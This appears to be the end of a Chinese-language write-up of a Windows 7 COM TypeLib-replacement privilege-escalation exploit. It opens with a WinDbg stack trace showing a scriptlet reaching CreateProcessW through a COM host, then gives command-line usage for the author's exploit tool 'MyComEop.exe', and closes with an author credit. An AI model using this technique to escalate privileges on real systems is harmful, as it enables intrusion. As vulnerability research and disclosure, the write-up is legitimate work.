0378ba48 00000000 00000000 00000000 00000000 ................ 0: kd> kv # Child-SP RetAddr : Args to Child : Call Site 00 000000000288c3e8 000007fe
ec9ec0dd : 0000000000000000 000007fe
ec8e1982 00001e9f9ac2b3f6 00000000
00000000 : kernel32!CreateProcessW 01 000000000288c3f0 000007fe
ec9ec55f : 0000000000000000 00000000
0288c5c0 000000000288c788 00000000
0288c5c0 : wshom!CWshShell::CreateShortcut+0x30d 02 000000000288c4e0 000007fe
feb616d0 : 000000000288c7a0 00000000
002fd46c 000000000378b9f8 00000000
00000000 : wshom!CWshShell::Exec+0x2b3 03 000000000288c5a0 000007fe
feb624d2 : 0000000000000104 000007fe
fec008e0 0000000000000fff 000007fe
feb623b8 : OLEAUT32!DispCallFuncAmd64+0x60 04 000000000288c600 000007fe
feb61de1 : 000000000366c2b8 00000000
037cd3f8 00000000037806c0 00000000
0288c768 : OLEAUT32!DispCallFunc+0x268 05 000000000288c6b0 000007fe
ec9e12d5 : 00000000002f60d0 000007fe
feb6150c 0000000003796ee0 00000000
00000002 : OLEAUT32!CTypeInfo2::Invoke+0x39a 06 000000000288ca20 000007fe
ec9e121d : 0000000000000bc4 000007fe
ebf5d79e 0000000000000000 000007fe
ff8724c8 : wshom!CDispatch::Invoke+0xad 07 000000000288ca80 000007fe
ebf7ad24 : 0000000000001f80 00000000
00000bc4 000000000288e560 00000000
002ffbc0 : wshom!CWshExec::Invoke+0x4d 08 000000000288cae0 000007fe
ebf79dc7 : 0000000000000000 00000000
002ffbc0 0000000000000000 00000000
001758b0 : jscript!CScriptRuntime::Run+0x2e1d 09 000000000288e4f0 000007fe
ebf79c09 : 0000000000000000 00000000
0017c6b0 0000000000000000 00000000
00000000 : jscript!ScrFncObj::CallWithFrameOnStack+0x187 0a 000000000288e700 000007fe
ebf79a25 : 00000000001758b0 00000000
00000000 00000000001758b0 00000000
00000000 : jscript!ScrFncObj::Call+0xb5 0b 000000000288e7a0 000007fe
ebf7903b : 000000000008001f 00000000
001758b0 0000000000000000 00000000
002f6660 : jscript!CSession::Execute+0x1a5 0c 000000000288e890 000007fe
ebf79386 : 0000000000000000 00000000
001758b0 0000000000000000 ffffffff
ffffffff : jscript!COleScript::ExecutePendingScripts+0x223 0d 000000000288e960 000007fe
eca17186 : 0000000000000000 000007fe
eca17f9d 00000000002fc410 01d61e99
4640f6a8 : jscript!COleScript::SetScriptState+0x6e 0e 000000000288e990 000007fe
eca17004 : 00000000002fc400 00000000
002fc400 00000000002f3ce0 00000000
002f3ce0 : scrobj!ComScriptlet::Inner::StartEngines+0xcf 0f 000000000288e9f0 000007fe
eca16dc1 : 00000000002c95e0 00000000
002fc400 00000000002f3ce0 000007fe
ff687a01 : scrobj!ComScriptlet::Inner::Init+0x27a 10 000000000288ea90 000007fe
eca16caa : 00000000002f3ce0 00000000
00000000 0000000000000000 00000000
00000000 : scrobj!ComScriptlet::New+0xca 11 000000000288eac0 000007fe
eca220f3 : 00000000002f62a0 00000000
00249618 00000000002ce680 00000000
037143d8 : scrobj!ComScriptletConstructor::Create+0x68 12 000000000288eb10 000007fe
ff6678d6 : 0000000003798760 00000000
03718760 00000000037da9c0 000007fe
fee9b065 : scrobj!ComScriptletMoniker::BindToObject+0x7f 13 000000000288eb60 000007fe
ff5669ba : 000007feff68be00 000007fe
ff6608bd 0000000000000030 000007fe`ff68be30 : ole32!IMonikerBindToObjectStub+0x16 [d:\w7rtm\com\ole32\oleprx32\proxy\callas.c @ 2264] 14 00000000
0288eba0 000007fefee9bc86 : 00000000
00000005 0000000003718760 000007fe
ff687a18 00000000037da9c0 : ole32!IMonikerRemoteBindToObjectThunk+0x2a [o:\w7rtm.obj.amd64fre\com\ole32\oleprx32\proxy\daytona\objfre\amd64\megap.c @ 487] 15 00000000
0288ebe0 000007fefedf48d6 : 00000000
0288f248 000007feff66376f 00000000
03715700 000000000379a2a0 : RPCRT4!Ndr64AsyncServerCallAll+0x1806 16 00000000
0288f1a0 000007feff660883 : 00000000
00000000 0000000000000000 000007fe
ff695b80 0000000003715ea0 : RPCRT4!NdrStubCall3+0xc6 17 00000000
0288f200 000007feff660ccd : 00000000
00000001 0000000000000000 00000000
00000000 0000000000000000 : ole32!CStdStubBufferInvoke+0x5b [d:\w7rtm\com\rpc\ndrole\stub.cxx @ 1586] 18 00000000
0288f230 000007feff660c43 : 00000000
037da9c0 000000000579cb14 00000000
036ce730 000007feeca36a40 : ole32!SyncStubInvoke+0x5d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1187] 19 00000000
0288f2a0 000007feff51a4f0 : 00000000
037da9c0 000000000361e890 00000000
037da9c0 0000000000000178 : ole32!StubInvoke+0xdb [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1396] 1a 00000000
0288f350 000007feff52d551 : 00000000
00000000 0000000000000001 00000000
0376e9e0 0000000003715ea0 : ole32!CCtxComChnl::ContextInvoke+0x190 [d:\w7rtm\com\ole32\com\dcomrem\ctxchnl.cxx @ 1262] 1b 00000000
0288f4e0 000007feff66347e : 00000000
0361e890 0000000000000000 00000000
03718760 0000000000000000 : ole32!STAInvoke+0x91 [d:\w7rtm\com\ole32\com\dcomrem\callctrl.cxx @ 1923] 1c 00000000
0288f530 000007feff66122b : 00000000
d0908070 000000000361e890 00000000
01d93e30 0000000003718760 : ole32!AppInvoke+0x1aa [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1081] 1d 00000000
0288f5a0 000007feff663542 : 00000000
037da930 0000000000000400 00000000
00000000 0000000001d98a30 : ole32!ComInvokeWithLockAndIPID+0x52b [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1727] 1e 00000000
0288f730 000007feff52d42d : 00000000
03715ea0 0000000000000000 00000000
0378f190 00000000037da930 : ole32!ComInvoke+0xae [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1469] 1f 00000000
0288f760 000007feff52d1d6 : 00000000
0361e890 00000000037da938 00000000
00000400 0000000000000000 : ole32!ThreadDispatch+0x29 [d:\w7rtm\com\ole32\com\dcomrem\chancont.cxx @ 298] 20 00000000
0288f790 0000000077639bd1 : 00000000
00000000 0000000000000000 00000000
00000000 b2698378e8b9daaa : ole32!ThreadWndProc+0xaa [d:\w7rtm\com\ole32\com\dcomrem\chancont.cxx @ 654] 21 00000000
0288f810 00000000776398da : 00000000
0288f970 000007feff52d12c 000007fe
ff6c5780 00000000006c4200 : USER32!UserCallWinProcCheckWow+0x1ad 22 00000000
0288f8d0 000007feff52d0ab : 00000000
000b0098 00000000000b0098 000007fe
ff52d12c 0000000000000000 : USER32!DispatchMessageWorker+0x3b5 23 00000000
0288f950 000007feff653e57 : 00000000
0361e890 0000000000000000 00000000
0361e890 000007feff513032 : ole32!CDllHost::STAWorkerLoop+0x68 [d:\w7rtm\com\ole32\com\objact\dllhost.cxx @ 957] 24 00000000
0288f9b0 000007feff500106 : 00000000
0361e890 00000000036d6510 00000000
00000000 0000000000000000 : ole32!CDllHost::WorkerThread+0xd7 [d:\w7rtm\com\ole32\com\objact\dllhost.cxx @ 834] 25 00000000
0288f9f0 000007feff500182 : 00000000
00000000 0000000000000000 00000000
00000000 0000000000000000 : ole32!CRpcThread::WorkerLoop+0x1e [d:\w7rtm\com\ole32\com\dcomrem\threads.cxx @ 257] 26 00000000
0288fa30 000000007773652d : 00000000
00000000 0000000000000000 00000000
00000000 0000000000000000 : ole32!CRpcThreadCache::RpcWorkerThreadEntry+0x1a [d:\w7rtm\com\ole32\com\dcomrem\threads.cxx @ 63] 27 00000000
0288fa60 000000007786c521 : 00000000
00000000 0000000000000000 00000000
00000000 0000000000000000 : kernel32!BaseThreadInitThunk+0xd 28 00000000
0288fa90 0000000000000000 : 00000000
00000000 0000000000000000 00000000
00000000 0000000000000000 : ntdll!RtlUserThreadStart+0x21
我的漏洞利用工具测试方式如下,需要管理员运行1.只适用Windows7系统直接运行,无参数,替换默认Typelib
MyComEop.exe
2.替换指定接口TypeLIb文件路径的Com组件TypeLIb,比如C:\xxx.dll
MyComEop.exe [u] [TypeLib_Path]
3.替换指定接口IID的Com组件TypeLIb,比如 {55e3ea25-55cb-4650-8887-18e8d30bb4bc}
MyComEop.exe [u] [IID_Interface]
4.高级模式接口IID=[IIDInterface],接口名称=[InterfaceName],接口的TypeLibGUID=[TypeLibGUIDInterface],接口TypeLIb文件路径=[TypeLib_Path]
MyComEop.exe [u] [IID_Interface] [InterfaceName] [TypeLibGUIDInterface] [TypeLibPath] [DisableRedirection]
5.不替换文件,仅测试指定接口IID的Com组件TypeLIb利用,比如 {55e3ea25-55cb-4650-8887-18e8d30bb4bc}
MyComEop.exe [t] [IID_Interface]
#### 运行效果 ####</requestfactory.requestname>以下是笔者exp运行的效果,如图:
相关项目
相关引用
参与贡献
作者来自ZheJiang Guoli Security Technology,邮箱[email protected]